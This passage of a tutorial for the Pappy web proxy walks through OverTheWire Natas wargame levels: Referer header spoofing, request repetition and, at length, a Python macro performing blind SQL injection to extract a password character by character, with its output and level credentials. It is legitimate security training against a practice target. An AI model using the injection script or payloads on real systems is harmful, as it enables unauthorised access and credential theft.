36 GET natas2.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.47 --
35 GET natas2.natas.labs.overthewire.org /icons/image2.gif 200 OK 0 309 0.47 --
34 GET natas2.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.47 --
33 GET natas2.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.47 --
32 GET natas2.natas.labs.overthewire.org /files/ 200 OK 0 1153 0.26 --
31 GET natas2.natas.labs.overthewire.org /files 301 Moved Permanently 0 353 0.27 --
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
itsPappyTime> f body ct password
itsPappyTime> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 --
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
20 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.47 --
24 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
17 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.30 --
14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 --
13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 --
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
itsPappyTime>
It looks like requests 2 and 14 are the ones we're looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use ``vfs`` to look at the response and you'll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).
Anyways, back to Natas!
Natas 4
-------
When we visit this page, we get an error saying that they will only display the password if we visit from ``http://natas5.natas.labs.overthewire.org/``. How does a website track where you came from? The Referer header! Where's that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we're golden.
To do this, we'll be using Pappy's interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we're going to learn:
* ``ic <req|rsp>+`` Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. ``ic req`` will only intercept requests, ``ic rsp`` will only intercept responses, and ``ic req rsp`` will intercept both.
In this case, we only want to intercept requests, so we'll run ``ic req``::
itsPappyTime> ic req
And we'll get a screen that says something like::
Currently intercepting: Requests
0 item(s) in queue.
Press 'n' to edit the next item or 'q' to quit interceptor.
Now refresh the page in your browser. The page will hang like it's taking a long time to load. Go back to Pappy, and now the interceptor will say something like::
Currently intercepting: Requests
1 item(s) in queue.
Press 'n' to edit the next item or 'q' to quit interceptor.
Press ``n`` and the request will be opened for editing! Which editor is used is defined by the ``EDITOR`` environment variable. Use the text editor to add a ``Referer`` header (note that there's only one r)::
GET / HTTP/1.1
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
Connection: keep-alive
Cache-Control: max-age=0
Referer: http://natas5.natas.labs.overthewire.org/
Save and quit, then press ``q`` to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay!
Now if you run ls, you'll notice that the request we made has a ``q`` in the ``Mngl`` column. This means that we mangled the request. If there's an ``s`` in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request ``12`` by using the id ``u12``.
Natas 5
-------
This one starts with a screen saying you're not logged in. This is fine. For this one, you'll need to use the interceptor to edit the value of a cookie. I'll let you figure that one out.
Natas 6
-------
This one you should be able to get
Natas 7
-------
You should get this one. Note the hint on the `overthewire website <http://overthewire.org/wargames/natas/>`_: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Natas 8
-------
You should be able to get this one. If it sucks, google it.
Natas 9
-------
For this one, when you view the source you'll notice they're taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn:
* ``rp <reqid>`` Open the vim repeater with the given request
* ``<leader>f`` (In the repeater) forward the request
.. note::
Use ``:wq!`` to quit the repeater without having to save buffers
.. note::
You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key ``here <https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file>``. By default <leader> is bound to ``\``.
Submit a request then open that request in the repeater.::
itsPappyTime> ls
196 GET natas9.natas.labs.overthewire.org /index.php?needle=ball&submit=Search 200 OK 0 1686 0.27 --
195 GET natas9.natas.labs.overthewire.org /index-source.html 200 OK 0 1952 0.27 --
... snip ...
itsPappyTime> rp 196
Vim will open up in a vertical split with the request on the left and the response on the right.
In the repeater, you edit the response on the left, then press the ``<leader>`` key then ``f`` to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other.
In this case, we'll be editing the ``needle`` get parameter. Try changing "ball" to "bill" and submitting it. You'll notice that the output in the right window changes to contain words that have the word "bill" in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser.
Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately).
Skip a few... Natas 15
----------------------
All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you'll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you're lazy and don't want to actually do the challenges, google the password for natas15 then come back.
Commands we'll learn:
* ``gma <name> <reqid(s)>`` Generate a macro with objects pre-defined for the given requests
* ``lma`` Load macros
* ``rma <name> [args]`` Run a macro, optionally with arguments
So the first thing we'll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn't exist. Now we'll generate a macro and use that request as a base for our script::
itsPappyTime> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
224 POST natas15.natas.labs.overthewire.org /index.php 200 OK 14 937 0.27 --
223 POST natas15.natas.labs.overthewire.org /index.php 200 OK 12 937 0.27 --
222 GET natas15.natas.labs.overthewire.org /index-source.html 200 OK 0 3325 0.28 --
221 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.25 --
220 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.27 --
219 GET natas15.natas.labs.overthewire.org / 200 OK 0 1049 0.37 --
218 GET natas15.natas.labs.overthewire.org / 401 Unauthorized 0 480 0.27 --
... snip ...
itsPappyTime> gma brute 224
Wrote script to macro_brute.py
itsPappyTime>
Now open up ``macro_brute.py`` in your favorite text editor. You should have a script that looks like this::
from pappyproxy.http import Request, get_request, post_request
from pappyproxy.context import set_tag
MACRO_NAME = 'Macro 41855887'
SHORT_NAME = ''
###########
## Requests
# It's suggested that you call .copy() on these and then edit attributes
# as needed to create modified requests
##
req1 = Request((
'POST /index.php HTTP/1.1\r\n'
'Host: natas15.natas.labs.overthewire.org\r\n'
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
'Accept-Language: en-US,en;q=0.5\r\n'
'Accept-Encoding: gzip, deflate\r\n'
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
'Connection: keep-alive\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 14\r\n'
'\r\n'
'username=admin'
))
def run_macro(args):
# Example:
# req = req0.copy() # Copy req0
# req.submit() # Submit the request to get a response
# print req.response.raw_headers # print the response headers
# req.save() # save the request to the data file
# or copy req0 into a loop and use string substitution to automate requests
pass
Pappy will generate a script and create a ``Request`` object that you can use. Check out the real documentation to see everything you can do with a ``Request`` object. For now you just need to know a few things about it:
* :func:`~pappyproxy.http.Request.submit` Submit the request and store the response object
* :func:`~pappyproxy.http.Request.save` Save the request/response to the data file
* ``post_params`` A :class:`~pappyproxy.http.RepeatableDict` that represents the post parameters of the request. Can set/get prameters the same way as a dictionary.
It is suggested you go through the documentation to learn the rest of the attributes/functions.
To start out simple, we'll write a macro that lets us check a username from the Pappy console. To define a function, you define the ``run_macro`` function. The function is passed a list of arguments which represent the arguments entered. Here a ``run_macro`` function that we can define that will check if a user exists::
def run_macro(args):
to_check = args[0] # get the username to check
r = req1.copy() # make a copy of the base request
r.post_params['username'] = to_check # set the username param of the request
r.submit() # submit the request
if "This user doesn't exist." in r.response.raw_data: # check if the username is valid
print "%s is not a user" % to_check
else:
print "%s is a user!" % to_check
Then to run it::
itsPappyTime> lma
Loaded "<Macro Macro 41855887 (brute)>"
itsPappyTime> rma brute admin
admin is not a user
itsPappyTime> rma brute fooooo
fooooo is not a user
itsPappyTime> rma brute natas16
natas16 is a user!
itsPappyTime>
Awesome! Notice how we didn't have to deal with authentication either. This is because the authentication is handled by the ``Authorization`` header which was included in the generated request.
Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username::
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
So to escape it, we use a payload like::
username" OR 1=1; #
In this case, any username that ends in ``" OR 1=1; #`` will be considered a valid username. Let's try this out::
itsPappyTime> rma brute "foo\" OR 1=1;"
foo" OR 1=1; is a user!
itsPappyTime> rma brute "fooooooo\" OR 1=1;"
fooooooo" OR 1=1; is a user!
itsPappyTime>
Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the ``password`` column. We do this with the ``ASCII`` and ``SUBSTRING`` functions. So something like this will check if the first character is an ``A``.::
'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'
Alright, let's update our macro to find the first character of the password.::
from pappyproxy.http import Request, get_request, post_request
from pappyproxy.context import set_tag
MACRO_NAME = 'Macro 41855887'
SHORT_NAME = ''
###########
## Requests
# It's suggested that you call .copy() on these and then edit attributes
# as needed to create modified requests
##
req1 = Request((
'POST /index.php HTTP/1.1\r\n'
'Host: natas15.natas.labs.overthewire.org\r\n'
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
'Accept-Language: en-US,en;q=0.5\r\n'
'Accept-Encoding: gzip, deflate\r\n'
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
'Connection: keep-alive\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 14\r\n'
'\r\n'
'username=admin'
))
def check_char(char, pos):
payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
r = req1.copy()
r.post_params['username'] = payload
r.submit()
if "This user doesn't exist." in r.response.raw_data:
return False
else:
return True
def run_macro(args):
valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
for c in valid_chars:
print 'Trying %s...' % c
if check_char(c, 1):
print '%s is the first char!' % c
return
print "The script didn't work"
And when we run it...::
itsPappyTime> lma
Loaded "<Macro Macro 41855887 (brute)>"
itsPappyTime> rma brute
Trying a...
Trying b...
Trying c...
Trying d...
... snip ...
Trying U...
Trying V...
Trying W...
W is the first char!
itsPappyTime>
We find the first character! Woo! Next we just have to do this for each position. Even through we don't know the length of the password, we will know that the password is over when none of the characters are valid. So let's update our macro::
import sys
from pappyproxy.http import Request, get_request, post_request
from pappyproxy.context import set_tag
MACRO_NAME = 'Macro 41855887'
SHORT_NAME = ''
###########
## Requests
# It's suggested that you call .copy() on these and then edit attributes
# as needed to create modified requests
##
req1 = Request((
'POST /index.php HTTP/1.1\r\n'
'Host: natas15.natas.labs.overthewire.org\r\n'
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
'Accept-Language: en-US,en;q=0.5\r\n'
'Accept-Encoding: gzip, deflate\r\n'
'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
'Connection: keep-alive\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 14\r\n'
'\r\n'
'username=admin'
))
def check_char(char, pos):
payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
r = req1.copy()
r.post_params['username'] = payload
r.submit()
if "This user doesn't exist." in r.response.raw_data:
return False
else:
return True
def run_macro(args):
valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
password = ''
done = False
while True:
done = True
for c in valid_chars:
# Print the current char to the current line
print c,
sys.stdout.flush()
# Check the current char
if check_char(c, len(password)+1):
# We got the correct char!
password += c
# Print it to the screen
print ''
print '%s is char %d!' % (c, len(password)+1)
print 'The password so far is %s' % password
# We have to do another round
done = False
break
if done:
# We got through the entire alphabet
print ''
print 'Done! The password is "%s"' % password
break
Then we run it::
itsPappyTime> lma
Loaded "<Macro Macro 41855887 (brute)>"
itsPappyTime> rma brute
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W
W is char 1!
The password so far is W
a
a is char 2!
The password so far is Wa
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I
I is char 3!
The password so far is WaI
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H
H is char 4!
The password so far is WaIH
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E
... snip ...
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nh
a b c d e f g h i j k l m
m is char 31!
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhm
a b c d e f g h
h is char 32!
The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 0
Done! The password is "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
itsPappyTime>
Boom! There it is!
Conclusion
==========
That's pretty much all you need to get started with Pappy. Make sure to go through the documentation to learn about all the other features that weren't covered in this tutorial. Hopefully you didn't find Pappy too hard to use and you'll consider it for your next engagement.